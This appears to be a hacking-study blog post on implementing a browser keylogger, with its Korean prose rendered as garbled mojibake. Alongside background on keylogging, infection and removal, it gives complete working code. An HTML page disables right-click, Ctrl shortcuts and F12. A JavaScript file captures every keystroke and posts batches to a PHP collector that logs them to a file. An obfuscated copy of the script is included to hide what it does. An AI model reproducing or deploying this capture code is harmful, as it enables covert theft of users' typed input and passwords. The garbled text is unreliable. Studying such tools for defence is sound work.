๋ชจ์ ํดํน ์คํฐ๋ - 4์ฃผ์ฐจ ๊ณผ์ (1-1) ํค ๋ก๊ฑฐ ๊ตฌํ
ํค ๋ก๊น ์ด๋?
ํค ๋ก๊น (Keylogging, ํค ์คํธ๋กํฌ ๋ก๊น (Keystroke logging)
์ฌ์ฉ์๊ฐ ํค๋ณด๋๋ก PC์ ์ ๋ ฅํ๋ ๋ด์ฉ์ ๋ชฐ๋ ๊ฐ๋ก์ฑ์ด ๊ธฐ๋กํ๋ ํ์
- (ํค๋ณด๋๋ก ์ ๋ ฅํ๋ ์ ๋ณด๋ฅผ ์ค๊ฐ์ ๊ฐ๋ก์ฑ๊ธฐ ํ์ฌ ์ ๋ณด๋ฅผ ํ์ณ๊ฐ๋ ํดํน ๋๊ตฌ)
- ๋ด๊ฐ ์ ๋ ฅํ ํค ๊ฐ์ ๋ก๊ทธ๋ฅผ ํ์ธ์ด ๋ด์ผ๋ก์จ ํดํน ํผํด์ ๋ ธ์ถ
- ํ๋์จ์ด, ์ํํธ์จ์ด๋ฅผ ํ์ฉํ ๋ฐฉ๋ฒ์์๋ถํฐ ์ ์์ , ์ํฅ๊ธฐ์ ์ ํ์ฉํ ๊ธฐ๋ฒ๊น์ง ๋ค์ํ ํค๋ก๊น ๋ฐฉ๋ฒ์ด ์กด์ฌ
ํค ๋ก๊ฑฐ(Key Logger)
Key + Log
- ํค๋ณด๋์ ์
๋ ฅํ ํค์ ํ์ ์ ๋จ๊ธฐ๋ ํ๋ก๊ทธ๋จ
- ํ๋ก์ธ์ค๋ก ์ฌ์คํ๋ฉด์ ํค๋ณด๋์ ์ ๋ ฅ๋ ๋ชจ๋ ๊ธฐ๋ก๋ค์ .txt ํน์ ์ง์ ๋ ํ์ฅ์๋ก ์ ์ฅ๋๊ฒ ํจ
- ํค๋ณด๋๋ฅผ ํตํด ์ด๋ค์ง๋ ๋ชจ๋ ์ ๋ณด๊ฐ ๋
ธ์ถ๋๊ณ ์๋ ๊ฒ
- ํค๋ณด๋ ์์ง์์ ํ์งํ๊ธฐ ๋๋ฌธ์ ***๋ก ๊ฐ์ถ์ด ๋์ค๋ ์ํธ์ ์ค์ ์ ๋ ฅํค๊น์ง ์ ์ ์๊ฒํ๊ธฐ ๋๋ฌธ
ํค ๋ก๊ทธ ๊ฐ์ผ ๊ฒฝ๋ก
1. ์น ์ฌ์ดํธ์ ์ฒจ๋ถํ์ผ์ด๋ ๊ทธ ๋ฐ์ ํ์ผ ๋ค์ด๋ก๋ ํ ์คํ์ ํค๋ก๊ทธ ํ๋ก๊ทธ๋จ์ด ์ค์น๋ ์ ์์
(ํํ ์คํํ์ผ์ ํค๋ก๊ทธ๊ฐ ์จ๊ฒจ์ ธ ์์ ์ ์๊ธฐ ๋๋ฌธ)
2. ํค๋ก๊ทธ๊ฐ ์จ๊ฒจ์ ธ ์๋ ํ๋ก๊ทธ๋จ์ ์คํํ ๊ฒฝ์ฐ
- ์์ถํ์ผ ํด์ ์(์์ถํ์ผ์ ํด์ ํ๋ ๊ฒฝ์ฐ ์๋์ผ๋ก ์คํ์ด ๊ฐ๋ฅ)
- ์ธ์ฆ๋์ง ์์ ์ฌ์ดํธ์์ Active X ์คํ์์๋ ๊ฐ์ผ์ด ๊ฐ๋ฅ
ํค ๋ก๊ทธ ๊ฐ์ผ ํ์ธ ๋ฐ ์ ๊ฑฐ
์ ๋ฌธ๊ฐ๋ค์ ๋ง์ฐ์ค ํด๋ฆญ์ด๋ ํค๋ณด๋ ์ ๋ ฅ ์ ์ง์ฐ์ด ๋ฐ์ํ๊ฑฐ๋ ํ์ดํํ ๋ด์ฉ์ด ์คํฌ๋ฆฐ์ ๋ํ๋์ง ์๋ ๊ฒฝ์ฐ
ํค๋ก๊น ์ ์์ฌํด ๋ณผ ์ ์๋ค๊ณ ์กฐ์ธ
1. ๋ฐฑ์ ํ๋ก๊ทธ๋จ์ ํตํ ํ์ง (์ ์ข ํค๋ก๊ทธ๋ค์ ๋ชป ์ก์ ์ ์์)
2. ํน์ ๋ฌธ์์ด ํ์ดํ ํ ์ ๋ ฅํ ๋ฌธ์์ด์ ํ์ผ ๋ด์ฉ์์ ๊ฒ์
3. taskmgr์์ ํด๋น ํค๋ก๊ทธ ํ๋ก์ธ์ค ์ฐพ๊ธฐ
- (ํด๋น ํค๋ก๊ทธ์ ํ๋ก์ธ์ค๋ฅผ ์ฐพ๋ ๊ฒ์ ํ์ด ๋ฌ)
- ์์ฌ ๊ฐ๋ ํ๋ก์ธ์ค๋ฅผ ์ฐพ์๋ด์ผ ํ์ง๋ง ํ๋ก์ธ์ค๋ค์ ์ด๋ฆ์ ์์ํ ๊ฒฝ์ฐ๊ฐ ๋ง๊ธฐ ๋๋ฌธ
4. regedit ์์ ์คํ ํ๋ก๊ทธ๋จ ์ญ์
HKEY_LOCAL_MACHINE -> SOFTWARE -> Microsoft -> Windows -> CurrentVersion -> Run -> ํด๋น ํค๋ก๊ทธ ์ญ์ (์ปดํจํฐ๋ฅผ ๋ถํ ํ์ ๋ ๊ฐ์ฅ ๋จผ์ ์คํ๋๋ ๊ฒ๋ค์ ์ ๋ณด๋ฅผ ๋ด์ ๋ ์ง์คํธ๋ฆฌ๋ฅผ ์ญ์ ํ๋ ๋ฐฉ์)
ํค๋ก๊ทธ ํ๋ก๊ทธ๋จ์ ์คํ
- ๋ณดํต ๋ถํ ์ ํค ๋ก๊ทธ ํ๋ก๊ทธ๋จ์ ์๋ ์คํ ์ํค๋ ๊ฒ์ด ์ผ๋ฐ์
- ๋ค๋ฅธ ๋ฐฉ๋ฒ์ผ๋ก ํน์ ์ ํ๋ฆฌ์ผ์ด์
์ ์คํํ์ ๊ฒฝ์ฐ ์คํ ๊ฐ๋ฅ
- (์ด๋ฐ ๊ฒฝ์ฐ ์์ (4๋ฒ) ๋ฐฉ๋ฒ์ผ๋ก๋ ํด๋น ๋ ์ง์คํธ๋ฆฌ๋ฅผ ์ฐพ๋ ๊ฒ์ด ๋ถ๊ฐ๋ฅ)
- ๋ถํ ํ์ ๋ ๊ฐ์ฅ ๋จผ์ ์คํ๋๋ ๊ฒ๋ค์ ์ ๋ณด๋ฅผ ์ฐพ๋ ๊ฒ์ด๊ธฐ ๋๋ฌธ
ํค๋ก๊น ํ๋ก๊ทธ๋จ์ ์๋ ๋ฐฉ์์ ์ฐํํ๋ ๋ฐฉ๋ฒ
- ํค๋ก๊ทธ๋ ๋จ์ง ์
๋ ฅํ๋ ๊ฒ์ ๋ํ์ฌ ์์๋๋ก ์ ๋ฌ
- ๋ก๊ทธ์ธ ํ๋ฉด์์ ID์ PW๋ฅผ ์ ๋ ฅํด์ผ ํ๋ ๊ฒฝ์ฐ
- (1) ID์ ์ผ๋ถ ์ ๋ ฅ -> (2) ๋น๋ฐ๋ฒํธ์ ์ผ๋ถ ์ ๋ ฅ -> (3) ID์ ๋๋จธ์ง ์ ๋ ฅ -> (4) ๋น๋ฐ๋ฒํธ์ ๋๋จธ์ง ์ ๋ ฅ
- ์์ ๊ฐ์ ์์์ ๋ฐ๋ผ ์ ๋ณด๋ฅผ ํ๋ฒ์ ์ ๋ ฅํ์ง ์๊ณ , ๋๋ ์ ์ ๋ ฅํ๋ ๋ฐฉ๋ฒ, ์ด๋ ๊ฒ ํ๋ฉด ์ ๋ณด๋ฅผ ๊ฐ๋ก์ฑ๊ธฐ ํ๋๋ผ๊ณ ์ค์ ID์ ๋น๋ฐ๋ฒํธ๋ฅผ ์ฐพ๊ธฐ๊ฐ ์ด๋ ต๊ฒ ๋จ
- ํ์ง๋ง ๋จ์ ํค๋ณด๋์ ๋ด์ฉ ์ ์ฅ๋ง ํ๋ ๊ฒ์ด ์๋
- ํผ์ฑ ์ฌ์ดํธ์ ๊ฒฝ์ฐ
- ์ ๋ ฅํ๋ ์ ๋ณด๋ค์ด ๊ทธ๋๋ก ๋์ด๊ฐ๊ฒ ๋จ
- ๋ก๊ทธ์ธ์ ์ค์ ๋ก ๋๋ ๊ฒฝ์ฐ๊ฐ ์์ด ๋์น ์ฑ๊ธฐ ํ๋ฌ
- ํ๋ฉด์ ์บก์ฒํ๊ฑฐ๋ ์์
๊ธฐ๋ก๋ค์ ์ ์ฅํ๋ ๊ฒฝ์ฐ
- ์ด๋ ๋ถ๋ถ์ ์ ๋ ฅํ๋์ง๋ฅผ ์์๋ณผ ์ ์๊ธฐ ๋๋ฌธ์ ์ํ๋๊ฐ ๋์์ง
- ํผ์ฑ ์ฌ์ดํธ์ ๊ฒฝ์ฐ
- ํค๋ก๊น
๊ณผ์ ์ ํผ๋์ ์ฃผ๋ ์ํฐ-ํค๋ก๊ฑฐ ์ํํธ์จ์ด๋ฅผ ๊ตฌ๋งคํ๋ ๊ฒ๋ ๋ฐฉ๋ฒ
- (์ด๊ฒ์ผ๋ก๋ ์ด๋ฏธ ์ค์น๋ ํค๋ก๊ฑฐ๋ฅผ ์ ๋ฐ,์ ๊ฑฐ ํ๋ ๊ฒ์ ๋ถ๊ฐ๋ฅ)
ํค ๋ก๊ฑฐ ๊ตฌํ
- ๋จ์ ํค๋ก๊ฑฐ ๊ตฌํ
- ํผ์ฑ ์ฌ์ดํธ X
- ๋ก๊ทธ์ธ ์ฐฝ X
- (ํ ์คํธ ์ฉ)
์ฝ๋ ๊ตฌ์ฑ
- keylog.html
- keylog.js
- keylog.php
keylog.html
<!DOCTYPE html>
<html>
<head>
<title>Keylog</title>
<meta charset="utf-8">
<script src="keylog.js"></script>
<script>
// DISABLE RIGHT CLICK
document.addEventListener("contextmenu", function(e){
e.preventDefault();
}, false);
// DISABLE SHORTCUT KEYS (Ctrl+U / F12)
document.addEventListener("keydown", function(e){
if(e.ctrlKey || e.keyCode==123) {
e.stopPropagation();
e.preventDefault();
}
});
</script>
</head>
<body>
<h1>All key presses will be recorded!</h1>
<h2>์
๋ ฅํ๋ ๋ชจ๋ ํค๋ ๊ธฐ๋ก๋ฉ๋๋ค.</h2>
rows : 5, cols : 70<br>
<textarea rows="5" cols="70"></textarea>
</body>
</html>
- Keylog.html์ ์ ์ํ๋ฉด ์์ ํ๋ฉด์ด ๋์ค๊ฒ ๋จ
- <script src="keylog.js"></script>
- keylog.js๋ฅผ ์ ์ฉ
<script>
// DISABLE RIGHT CLICK
document.addEventListener("contextmenu", function(e){
e.preventDefault();
}, false);
// DISABLE SHORTCUT KEYS (Ctrl+U / F12)
document.addEventListener("keydown", function(e){
if(e.ctrlKey || e.keyCode==123) {
e.stopPropagation();
e.preventDefault();
}
});
</script>
- ์ฝ๋ ๋ด๋ถ ํ์ธ ๋ฐฉ์ง์ฉ ์ฝ๋
- ์ฐํด๋ฆญ ๋ฐฉ์ง(DISABLE RIGHT CLICK)
- ๋ง์ฐ์ค ์ฐํด๋ฆญ ์ ๋์ค๋ ์๋์ ์ฐฝ์ด ์ฐํด๋ฆญ์ ํด๋ ๋์ค์ง ์์
- ๋จ์ถํค ๋ฐฉ์ง(DISABLE SHORTCUT KEYS)
- ๋ง์ฐ์ค ์ฐํด๋ฆญ์ ๋์ค๋ ์๋์ ์ฐฝ ( ↓ ↓ ↓) ์ด Ctrl + U๋ฅผ ํ๋ฉด ๋์ค๊ธฐ ๋๋ฌธ
- F12๋ก๋ ์ฝ๋๋ฅผ ๋ณผ ์ ์๊ธฐ ๋๋ฌธ์ ๋ง์๋ (๊ทธ ๋์ , ํค๋ก๊ฑฐ์๋ ์
๋ ฅ๋์ง ์์)
- ์ ๋ ฅ ์์ฒด๋ฅผ ๊ฑฐ๋ถ
- ์ฐํด๋ฆญ ๋ฐฉ์ง(DISABLE RIGHT CLICK)
- textarea ๋ด๋ถ์ ๊ธ ์์ฑ ๊ฐ๋ฅ
- (์ด์ธ์ ํค๋ ๊ธฐ๋ก๋จ)
- ex) Func. key
- (์๋ก๊ณ ์นจ F5, ๋จ์ถํค ๋ฐฉ์ง F12 ๋ฅผ ์ ์ธํ Func. key๋ ์ ์ถ๋ ฅ๋จ ↑ ↑ ↑ )
keylog.js
var keylog = {
// (A) SETTINGS & PROPERTIES
cache : [], // temp storage for key presses
delay : 2000, // how often to send data to server
sending : false, // flag to allow 1 upload at a time
// (B) INITIALIZE
init : () => {
// (B1) CAPTURE 'KEY STROKES'
window.addEventListener("keydown", evt => keylog.cache.push(evt.key)); // keydown
// window.addEventListener("keypress", evt => keylog.cache.push(evt.key)); //keypress
// (B2) SEND 'KEY STROKES' TO SERVER
window.setInterval(keylog.send, keylog.delay);
},
// (C) AJAX SEND 'KEY STROKES'
send : () => { if (!keylog.sending && keylog.cache.length != 0) {
// (C1) "LOCK" UNTIL THIS BATCH IS SENT TO SERVER
keylog.sending = true;
// (C2) KEYPRESS(keydown) DATA
var data = new FormData();
data.append("keys", JSON.stringify(keylog.cache));
keylog.cache = []; // clear keys
// (C3) FECTH SEND
fetch("keylog.php", { method:"POST", body:data })
.then(res=>res.text()).then(res => {
keylog.sending = false; // unlock
console.log(res); // optional
})
.catch(err => console.error(err));
}}
};
window.addEventListener("DOMContentLoaded", keylog.init);
- ์ ๋ ฅ๋ ํค๋ฅผ ์์ ์ ์ฅ
- window.addEventListener("keydown", evt => keylog.cache.push(evt.key));
- ๋ฐ์์จ ํค๋ฅผ keylog์ ์บ์(cache)์ ์ ์ฅ
- keydown ์ฌ์ฉ
- keypress๋ฅผ ์ด์ฉํ์ง ์๋ ์ด์ : KEY DOWN/UP/PRESS
- 'KEY STROKES' ๋ฅผ ์๋ฒ๋ก ์ ์ก
- window.setInterval(keylog.send, keylog.delay);
- AJAX(Asynchronous JavaScript And XML)๋ฅผ ํตํ ๋น๋๊ธฐ HTTP ํต์
- ํค๊ฐ ๋น ์ง๋ ๊ฒ ์์ด ์
๋ ฅ๋๊ธฐ ์ํด?!
- ์คํ ํ๋ฆ ์กฐ์ ๊ฐ๋ฅ
- keylog.sending = true / false
- FETCH
- ๊ฐ๋จํ ํต์ , ์ ๋ฐ์ดํธ๊ฐ ์ฆ์ ๊ฒฝ์ฐ
- ๋ด์ฅ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ธ fetch๊ฐ axios๋ณด๋ค ์์ ์ ์ผ ์ ์์
- (axios๋ ๋ธ๋ผ์ฐ์ ํธํ์ฑ์ด ๋ฐ์ด๋๊ณ , ๋ค์ํ ๊ธฐ๋ฅ์ด ๋ง์ง๋ง ๋ฐ๋ก ๋ชจ๋ ์ค์น๊ฐ ํ์)
- ๊ทธ ๋์ fetch์ ๊ฒฝ์ฐ JSON์ผ๋ก ๋ณํํด์ฃผ๋ ๊ณผ์ ์ด ํ์
- ์บ์์ ์์ ์ ์ฅ๋ ๋ฐ์ดํฐ๋ฅผ data์ ์ ์ฅํ๊ณ cache๋ฅผ ๋น์
- ํค๊ฐ ๋น ์ง๋ ๊ฒ ์์ด ์
๋ ฅ๋๊ธฐ ์ํด?!
fetch("keylog.php", { method:"POST", body:data })
.then(res=>res.text()).then(res => {
keylog.sending = false; // unlock
console.log(res); // optional
})
- FECTH SEND
OBFUSCATED CODE(keylog.js)
var _0x5cb129=_0x5ceb;function _0x2335(){var _0x549aa1=['error','send','4114548YnVvav','9873556zUQudj','2320886Rsuwul','setInterval','5289378salCPm','3943530FdUXLs','init','then','text','1495536dUfCWC','cache','length','push','addEventListener','sending','key','218340rgXCOv','POST','keys','append'];_0x2335=function(){return _0x549aa1;};return _0x2335();}(function(_0x4f87a1,_0x353324){var _0x3dc969=_0x5ceb,_0x14e052=_0x4f87a1();while(!![]){try{var _0x5374b6=-parseInt(_0x3dc969(0x131))/0x1+parseInt(_0x3dc969(0x123))/0x2+-parseInt(_0x3dc969(0x121))/0x3+-parseInt(_0x3dc969(0x12a))/0x4+-parseInt(_0x3dc969(0x126))/0x5+parseInt(_0x3dc969(0x125))/0x6+parseInt(_0x3dc969(0x122))/0x7;if(_0x5374b6===_0x353324)break;else _0x14e052['push'](_0x14e052['shift']());}catch(_0xffdf38){_0x14e052['push'](_0x14e052['shift']());}}}(_0x2335,0xaaea4));var keylog={'cache':[],'delay':0x7d0,'sending':![],'init':()=>{var _0x52c841=_0x5ceb;window['addEventListener']('keydown',_0x4fb04e=>keylog[_0x52c841(0x12b)][_0x52c841(0x12d)](_0x4fb04e[_0x52c841(0x130)])),window[_0x52c841(0x124)](keylog[_0x52c841(0x120)],keylog['delay']);},'send':()=>{var _0x317b78=_0x5ceb;if(!keylog['sending']&&keylog['cache'][_0x317b78(0x12c)]!=0x0){keylog[_0x317b78(0x12f)]=!![];var _0x1a3b82=new FormData();_0x1a3b82[_0x317b78(0x11e)](_0x317b78(0x11d),JSON['stringify'](keylog['cache'])),keylog[_0x317b78(0x12b)]=[],fetch('keylog.php',{'method':_0x317b78(0x11c),'body':_0x1a3b82})[_0x317b78(0x128)](_0x35ea79=>_0x35ea79[_0x317b78(0x129)]())['then'](_0x138cec=>{var _0x1e0967=_0x317b78;keylog[_0x1e0967(0x12f)]=![],console['log'](_0x138cec);})['catch'](_0x166b0f=>console[_0x317b78(0x11f)](_0x166b0f));}}};function _0x5ceb(_0x5c895f,_0x3be883){var _0x233588=_0x2335();return _0x5ceb=function(_0x5ceb2e,_0x3ac333){_0x5ceb2e=_0x5ceb2e-0x11c;var _0x29a23f=_0x233588[_0x5ceb2e];return _0x29a23f;},_0x5ceb(_0x5c895f,_0x3be883);}window[_0x5cb129(0x12e)]('DOMContentLoaded',keylog[_0x5cb129(0x127)]);
- ์์ keylog.js ๋ฅผ JavaScript Obfuscator Tool (https://obfuscator.io/)์ ์ด์ฉํ์ฌ ๋ณํํ ๊ฒ
- ๋ด์ฉ์ ๋ชป ์์๋ณด๊ฒ ํ๊ธฐ ์ํจ
- ๋์ผํ๊ฒ ์๋ ํ์ธ
keylog.php
<?php
// (A) OPEN 'KEYLOG FILE', APPEND MODE('a+' : ์ฝ๊ธฐ[read]/์ถ๊ฐ[append]/์ฐ๊ธฐ[write])
$file = fopen("keylog.txt", "a+");
// (B) SAVE 'KEY STROKES'
$keys = json_decode($_POST["keys"]);
foreach ($keys as $k=>$v) { fwrite($file, $v . PHP_EOL); }
// (C) CLOSE & END FILE
fclose($file);
echo "OK";
?>
- fopen ์ Append Mode ์ค์
- ํ์ผ์ ์ฝ๊ธฐ, ์ถ๊ฐ, ์ฐ๊ธฐ๋ฅผ ์ํด ์คํ
- ์ง์ ํ ํ์ผ์ด ์์ผ๋ฉด ํ์ผ์ ๋์์๋ถํฐ ๋ด์ฉ์ ์ถ๊ฐ
- ๋๋จธ์ง๊ธฐ๋ฅ์ (r+)์ ๊ฐ์
- ์ง์ ํ ํ์ผ์ด ์๋ ๊ฒฝ์ฐ : ๊ธฐ์กด์ ๋ด์ฉ์ ๋ฎ์ด ์
- ์ง์ ํ ํ์ผ์ด ์๋ ๊ฒฝ์ฐ : ์๋ก์ด ํ์ผ์ ์์ฑํด์ ๋ฐ์ดํฐ๋ฅผ ์ (์ ์ฅ)
๋ฌธ์ ์
ํ๊ธ ์ ๋ ฅ์ Process ๋ผ๊ณ ๋ง ์ฐํ ๋์ค๊ณ ์ ๋๋ก ์ ๋ ฅ๋์ง ์์
ํ๊ธฐ
๋ก๊ทธ์ธ ์ฐฝ์ด๋, ํผ์ฑ์ฌ์ดํธ๋ฅผ ๋ง๋ค์ด์ ๋ฐ์์ค๋ ๊ฒ์ด ์๋, ๋จ์ ํค๋ก๊ทธ๋ฅผ ๊ตฌํ
- ๋จ์ํ ์ ๋ ฅ๋๋ ๋ชจ๋ ํค๋ฅผ ๋ฐ์์จ ๊ฒ
- (ํ๋ฉด ์บก์ณ X, ์ฐ๊ฒฐ X)
๋ํ ํ๊ธ ์ ๋ ฅ์ ์์ฌ์
- ์ด ๋ถ๋ถ์ ์์ด์๋ ํ๊ธ์ ๋ฌธ์์ ํน์ฑ์ด ๋ฌธ์ ๊ฐ ๋จ
- ๋์ค์ ๋ฐ๋ก ์ ๋ฆฌ ํด๋ณผ ํ์๊ฐ ์์ !!
Keydown๊ณผ Keypress์ ๋ํ ์ดํด๊ฐ ์ข ๋ ํ์.
์์ ์ ์ด๊ณ ์๋ฒฝํ ์ฝ๋๋ฅผ ์ง๋ ๊ฒ๋ ์ค์ํ์ง๋ง
๋๋ก๋ ์๊ฐ๊ณผ ํํํด์ ๋์๊ฐ๋ ์ฝ๋๋ฅผ ์ง๋ ๊ฒ๋ง์ผ๋ก ๋ง์กฑํด์ผ ํ ๋๊ฐ ์๋ค.
์ง๋ฌธ ํ์, ์์ ๋ฐ ๋ณด์์ ๋ํ ์ง์ ํ์